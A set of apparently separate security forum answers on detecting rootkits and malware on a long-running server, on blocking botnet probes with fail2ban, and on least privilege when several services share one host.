If a system has been running for a long time and may be tainted, there is no simple and effective way to check for malware. While some simple utilities like unhide may be able to detect very simple rootkits, a well-designed rootkit will have hooked the kernel and can effectively prevent any userspace tool from detecting it. In these cases, you will need to dump the server's memory over specialized hardware and analyze it with a memory analysis framework such as Volatility.

For less sophisticated malware which does not use kernel hooks to hide itself from userspace, traditional digital forensic techniques can work well. A very non-exhaustive list of techniques to detect software-level tampering from malware or intrusion can include:

Checking vital system logs for suspicious entries (ideally from an offline backup).
Analyzing network activity to detect unauthorized outbound and inbound connections.
Viewing the process tree and loaded modules to look for unexpected entities.
Getting a list of setuid and setgid files to look for suspicious ones (e.g. setuid sed).
Checking that the inode numbers of critical system files are sequential.

Remember, just because you do not find anything suspicious does not mean malware is not present. Particularly sophisticated malware can run in system management context which is invisible to the kernel, or load itself to a programmable and DMA-capable device such as the GPU. If the service is highly sensitive, you should do a full re-install if malware is a real possibility.


What is attacker trying to do with my server?

This is most likely a botnet trying the "doors" as Bob has suggested. From time-to-time, vulnerabilities appear in standard software that allows attackers access via supposedly innocuous entry points.

If you don't already have it installed, I would recommend something like fail2ban which will automatically ban source IP's that make attempts to get to vulnerable ports/locations.

fail2ban can be also configured with manual checks to filter out new vulnerabilities and annoyances.


I think you could just use the security concept of least privilege to drive these concepts. For example, I would imagine you would not want your Sharepoint admins to have access to the DC's running on the same box. The other design problem for combining multiple services on a single host is if say an Exchange exploit takes the host down then you lose all of the other services that you have on that host as well.